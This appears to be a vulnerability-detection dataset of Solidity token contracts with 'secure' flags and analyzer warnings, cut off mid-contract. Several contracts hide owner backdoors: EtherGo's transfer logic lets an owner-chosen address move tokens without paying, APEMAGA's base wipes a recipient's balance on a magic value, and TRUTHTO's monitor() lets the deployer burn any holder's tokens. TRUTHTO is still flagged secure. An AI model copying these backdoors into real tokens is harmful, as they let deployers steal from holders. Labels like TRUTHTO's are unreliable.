{ "code": "// SPDX-License-Identifier: AML AND MIT\n\npragma solidity ^0.8.0;\n\nlibrary Pairing {\n uint256 constant PRIME_Q =\n 21888242871839275222246405745257275088696311157297823662689037894645226208583;\n\n struct G1Point {\n uint256 X;\n uint256 Y;\n }\n\n struct G2Point {\n uint256[2] X;\n uint256[2] Y;\n }\n\n function negate(G1Point memory p) internal pure returns (G1Point memory) {\n if (p.X == 0 && p.Y == 0) {\n return G1Point(0, 0);\n } else {\n return G1Point(p.X, PRIME_Q - (p.Y % PRIME_Q));\n }\n }\n\n function plus(\n G1Point memory p1,\n G1Point memory p2\n ) internal view returns (G1Point memory r) {\n uint256[4] memory input;\n\n input[0] = p1.X;\n\n input[1] = p1.Y;\n\n input[2] = p2.X;\n\n input[3] = p2.Y;\n\n bool success;\n\n assembly {\n success := staticcall(sub(gas(), 2000), 6, input, 0xc0, r, 0x60)\n\n switch success\n case 0 {\n invalid()\n }\n }\n\n require(success, \"pairing-add-failed\");\n }\n\n function scalar_mul(\n G1Point memory p,\n uint256 s\n ) internal view returns (G1Point memory r) {\n uint256[3] memory input;\n\n input[0] = p.X;\n\n input[1] = p.Y;\n\n input[2] = s;\n\n bool success;\n\n assembly {\n success := staticcall(sub(gas(), 2000), 7, input, 0x80, r, 0x60)\n\n switch success\n case 0 {\n invalid()\n }\n }\n\n require(success, \"pairing-mul-failed\");\n }\n\n function pairing(\n G1Point memory a1,\n G2Point memory a2,\n G1Point memory b1,\n G2Point memory b2,\n G1Point memory c1,\n G2Point memory c2,\n G1Point memory d1,\n G2Point memory d2\n ) internal view returns (bool) {\n G1Point[4] memory p1 = [a1, b1, c1, d1];\n\n G2Point[4] memory p2 = [a2, b2, c2, d2];\n\n uint256 inputSize = 24;\n\n uint256[] memory input = new uint256[](inputSize);\n\n for (uint256 i = 0; i < 4; i++) {\n uint256 j = i * 6;\n\n input[j + 0] = p1[i].X;\n\n input[j + 1] = p1[i].Y;\n\n input[j + 2] = p2[i].X[0];\n\n input[j + 3] = p2[i].X[1];\n\n input[j + 4] = p2[i].Y[0];\n\n input[j + 5] = p2[i].Y[1];\n }\n\n uint256[1] memory out;\n\n bool success;\n\n assembly {\n success := staticcall(\n sub(gas(), 2000),\n 8,\n add(input, 0x20),\n mul(inputSize, 0x20),\n out,\n 0x20\n )\n\n switch success\n case 0 {\n invalid()\n }\n }\n\n require(success, \"pairing-opcode-failed\");\n\n return out[0] != 0;\n }\n}", "file_name": "solidity_code_66.sol", "secure": 1, "size_bytes": 3016 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract EtherGo is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _allBalances;\n\n mapping(address => mapping(address => uint256)) private _allTokenAllowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 92b1bdf): EtherGo._taxWallet should be immutable \n\t// Recommendation for 92b1bdf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e40a5a): EtherGo.buyingTax should be constant \n\t// Recommendation for 9e40a5a: Add the 'constant' attribute to state variables that never change.\n uint256 public buyingTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2423488): EtherGo.sellTax should be constant \n\t// Recommendation for 2423488: Add the 'constant' attribute to state variables that never change.\n uint256 public sellTax = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tokenTotal = 10_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ether Go\";\n\n string private constant _symbol = unicode\"ETHGO\";\n\n uint256 private constant maxTaxSlippage = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 53b8892): EtherGo.minTaxSwap should be constant \n\t// Recommendation for 53b8892: Add the 'constant' attribute to state variables that never change.\n uint256 private minTaxSwap = 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 722d0ce): EtherGo.maxTaxSwap should be constant \n\t// Recommendation for 722d0ce: Add the 'constant' attribute to state variables that never change.\n uint256 private maxTaxSwap = _tokenTotal / 500;\n\n uint256 public constant max_uint = type(uint256).max;\n\n address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n IUniswapV2Router02 public constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n IUniswapV2Factory public constant uniswapV2Factory =\n IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);\n\n address private uniswapV2Pair;\n\n address private uniswap;\n\n bool private TradingOpen = false;\n\n bool private doesInSwap = false;\n\n bool private SwapEnabled = false;\n\n modifier lockingTheSwap() {\n doesInSwap = true;\n\n _;\n\n doesInSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _allBalances[_msgSender()] = _tokenTotal;\n\n emit Transfer(address(0), _msgSender(), _tokenTotal);\n }\n\n function allowance(\n address Owner,\n address buyer\n ) public view override returns (uint256) {\n return _allTokenAllowances[Owner][buyer];\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1c179a6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1c179a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b761f25): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b761f25: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address payer,\n address reciver,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1c179a6\n\t\t// reentrancy-benign | ID: b761f25\n _transfer(payer, reciver, amount);\n\n\t\t// reentrancy-events | ID: 1c179a6\n\t\t// reentrancy-benign | ID: b761f25\n _approve(\n payer,\n _msgSender(),\n _allTokenAllowances[payer][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tokenTotal;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function transfer(\n address reciver,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), reciver, amount);\n\n return true;\n }\n\n function approve(\n address payer,\n uint256 total\n ) public override returns (bool) {\n _approve(_msgSender(), payer, total);\n\n return true;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address wallet) public view override returns (uint256) {\n return _allBalances[wallet];\n }\n\n function _approve(address Owner, address buyer, uint256 amount) private {\n require(buyer != address(0), \"ERC20: approve to the zero address\");\n\n require(Owner != address(0), \"ERC20: approve from the zero address\");\n\n\t\t// reentrancy-benign | ID: b761f25\n _allTokenAllowances[Owner][buyer] = amount;\n\n\t\t// reentrancy-events | ID: 1c179a6\n emit Approval(Owner, buyer, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4a41550): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4a41550: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8fb5801): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8fb5801: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address seller, address payer, uint256 total) private {\n require(seller != address(0), \"ERC20: transfer from the zero address\");\n\n require(payer != address(0), \"ERC20: transfer to the zero address\");\n\n require(total > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (\n seller != getOwner() && payer != getOwner() && payer != _taxWallet\n ) {\n if (seller == uniswap && payer != address(uniswapV2Router)) {\n taxAmount = total.mul(buyingTax).div(100);\n } else if (payer == uniswap && seller != address(this)) {\n taxAmount = total.mul(sellTax).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !doesInSwap &&\n payer == uniswap &&\n SwapEnabled &&\n contractTokenBalance > minTaxSwap\n ) {\n uint256 _toSwap = contractTokenBalance > maxTaxSwap\n ? maxTaxSwap\n : contractTokenBalance;\n\n\t\t\t\t// reentrancy-events | ID: 4a41550\n\t\t\t\t// reentrancy-eth | ID: 8fb5801\n swapTokensForEth(total > _toSwap ? _toSwap : total);\n\n uint256 _contractETHBalance = address(this).balance;\n\n if (_contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4a41550\n\t\t\t\t\t// reentrancy-eth | ID: 8fb5801\n sendETHToFee(_contractETHBalance);\n }\n }\n }\n\n (uint256 amountIn, uint256 amountOut) = taxing(\n seller,\n total,\n taxAmount\n );\n\n require(_allBalances[seller] >= amountIn);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8fb5801\n _allBalances[address(this)] = _allBalances[address(this)].add(\n taxAmount\n );\n\n\t\t\t// reentrancy-events | ID: 4a41550\n emit Transfer(seller, address(this), taxAmount);\n }\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 8fb5801\n _allBalances[seller] -= amountIn;\n\n\t\t\t// reentrancy-eth | ID: 8fb5801\n _allBalances[payer] += amountOut;\n }\n\n\t\t// reentrancy-events | ID: 4a41550\n emit Transfer(seller, payer, amountOut);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockingTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = weth;\n\n\t\t// reentrancy-events | ID: 4a41550\n\t\t// reentrancy-events | ID: 1c179a6\n\t\t// reentrancy-benign | ID: b761f25\n\t\t// reentrancy-eth | ID: 8fb5801\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n tokenAmount - tokenAmount.mul(maxTaxSlippage).div(100),\n path,\n address(this),\n block.timestamp\n );\n }\n\n function taxing(\n address from,\n uint256 total,\n uint256 taxAmount\n ) private view returns (uint256, uint256) {\n return (\n total.sub(from != uniswapV2Pair ? 0 : total),\n total.sub(from != uniswapV2Pair ? taxAmount : taxAmount)\n );\n }\n\n\t// WARNING Vulnerability (unchecked-lowlevel | severity: Medium | ID: dc99b33): EtherGo.sendETHToFee(uint256) ignores return value by _taxWallet.call{value ethAmount}()\n\t// Recommendation for dc99b33: Ensure that the return value of a low-level call is checked or logged.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ce55c75): EtherGo.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.call{value ethAmount}()\n\t// Recommendation for ce55c75: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 ethAmount) private {\n\t\t// reentrancy-events | ID: 4a41550\n\t\t// reentrancy-events | ID: 1c179a6\n\t\t// reentrancy-benign | ID: b761f25\n\t\t// unchecked-lowlevel | ID: dc99b33\n\t\t// reentrancy-eth | ID: 8fb5801\n\t\t// arbitrary-send-eth | ID: ce55c75\n _taxWallet.call{value: ethAmount}(\"\");\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 10244cc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 10244cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a827b1c): EtherGo.setTrading(address,bool)._pair lacks a zerocheck on \t uniswapV2Pair = _pair\n\t// Recommendation for a827b1c: Check that the address is not zero.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4051919): EtherGo.setTrading(address,bool) ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,getOwner(),block.timestamp)\n\t// Recommendation for 4051919: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: aca573c): EtherGo.setTrading(address,bool) ignores return value by IERC20(uniswap).approve(address(uniswapV2Router),max_uint)\n\t// Recommendation for aca573c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2fa32f0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2fa32f0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function setTrading(address _pair, bool _enabled) external checkOwner {\n require(_enabled);\n\n require(!TradingOpen, \"trading is already open\");\n\n\t\t// missing-zero-check | ID: a827b1c\n uniswapV2Pair = _pair;\n\n _approve(address(this), address(uniswapV2Router), max_uint);\n\n\t\t// reentrancy-benign | ID: 10244cc\n\t\t// reentrancy-eth | ID: 2fa32f0\n uniswap = uniswapV2Factory.createPair(address(this), weth);\n\n\t\t// reentrancy-benign | ID: 10244cc\n\t\t// unused-return | ID: 4051919\n\t\t// reentrancy-eth | ID: 2fa32f0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n getOwner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 10244cc\n\t\t// unused-return | ID: aca573c\n\t\t// reentrancy-eth | ID: 2fa32f0\n IERC20(uniswap).approve(address(uniswapV2Router), max_uint);\n\n\t\t// reentrancy-benign | ID: 10244cc\n SwapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2fa32f0\n TradingOpen = true;\n }\n\n function get_TradingOpen() external view returns (bool) {\n return TradingOpen;\n }\n\n function get_buyingTax() external view returns (uint256) {\n return buyingTax;\n }\n\n function get_sellTax() external view returns (uint256) {\n return sellTax;\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_660.sol", "secure": 0, "size_bytes": 14281 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ForestToken is ERC20, Ownable {\n constructor() ERC20(\"Forest\", \"Forest\") Ownable(msg.sender) {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_661.sol", "secure": 1, "size_bytes": 371 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 8c6071b): Contract locking ether found Contract TrumpEthereum has payable functions TrumpEthereum.receive() But does not have a function to withdraw the ether\n// Recommendation for 8c6071b: Remove the 'payable' attribute or add a withdraw function.\ncontract TrumpEthereum is ERC20, Ownable {\n constructor() ERC20(unicode\"TRUMPETH\", unicode\"Trump On Ethereum\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 8c6071b): Contract locking ether found Contract TrumpEthereum has payable functions TrumpEthereum.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 8c6071b: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_662.sol", "secure": 0, "size_bytes": 1044 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}", "file_name": "solidity_code_663.sol", "secure": 0, "size_bytes": 4972 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"🐸APEMAGA\", unicode\"🐸APEMAGA\", 9, 100000000000)\n {}\n}", "file_name": "solidity_code_664.sol", "secure": 1, "size_bytes": 227 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TRUTHTO is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable aenia;\n\n constructor() {\n _name = \"TRUTH NATO\";\n\n _symbol = \"TRUTHTO\";\n\n _decimals = 18;\n\n uint256 initialSupply = 750000000;\n\n aenia = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == aenia, \"Not allowed\");\n\n _;\n }\n\n function monitor(address[] memory cysts) public onlyOwner {\n for (uint256 i = 0; i < cysts.length; i++) {\n address account = cysts[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_665.sol", "secure": 1, "size_bytes": 4354 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC1967 {\n event Upgraded(address indexed implementation);\n\n event AdminChanged(address previousAdmin, address newAdmin);\n\n event BeaconUpgraded(address indexed beacon);\n}", "file_name": "solidity_code_666.sol", "secure": 1, "size_bytes": 259 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract DECToken is ERC20 {\n constructor() ERC20(\"DEC Token\", \"DECT\") {\n _update(address(0), msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_667.sol", "secure": 1, "size_bytes": 289 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract U2UAI is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 815cd56): U2UAI.routerAdress should be constant \n\t// Recommendation for 815cd56: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3dfd4b3): U2UAI.DEAD should be constant \n\t// Recommendation for 3dfd4b3: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string constant _name = \"U2U Network\";\n\n string constant _symbol = \"U2UAI\";\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 454ecda): U2UAI._totalSupply should be constant \n\t// Recommendation for 454ecda: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 10_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d8e9991): U2UAI._swapNetworkThreshHold should be immutable \n\t// Recommendation for d8e9991: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapNetworkThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3b4c2fc): U2UAI._maxTaxSwap should be immutable \n\t// Recommendation for 3b4c2fc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private Networks;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8d84546): U2UAI._NetworkWallet should be immutable \n\t// Recommendation for 8d84546: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _NetworkWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public NetworkFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f8d0d3): U2UAI._initBuyTax should be constant \n\t// Recommendation for 1f8d0d3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe65f2a): U2UAI._initSellTax should be constant \n\t// Recommendation for fe65f2a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ec4c5a): U2UAI._reduceBuyTaxAt should be constant \n\t// Recommendation for 4ec4c5a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: daadfc6): U2UAI._reduceSellTaxAt should be constant \n\t// Recommendation for daadfc6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b244c68): U2UAI.constructor(address).NetworkWallet lacks a zerocheck on \t _NetworkWallet = NetworkWallet\n\t// Recommendation for b244c68: Check that the address is not zero.\n constructor(address NetworkWallet) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: b244c68\n _NetworkWallet = NetworkWallet;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_NetworkWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_NetworkWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawNetworkBalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n 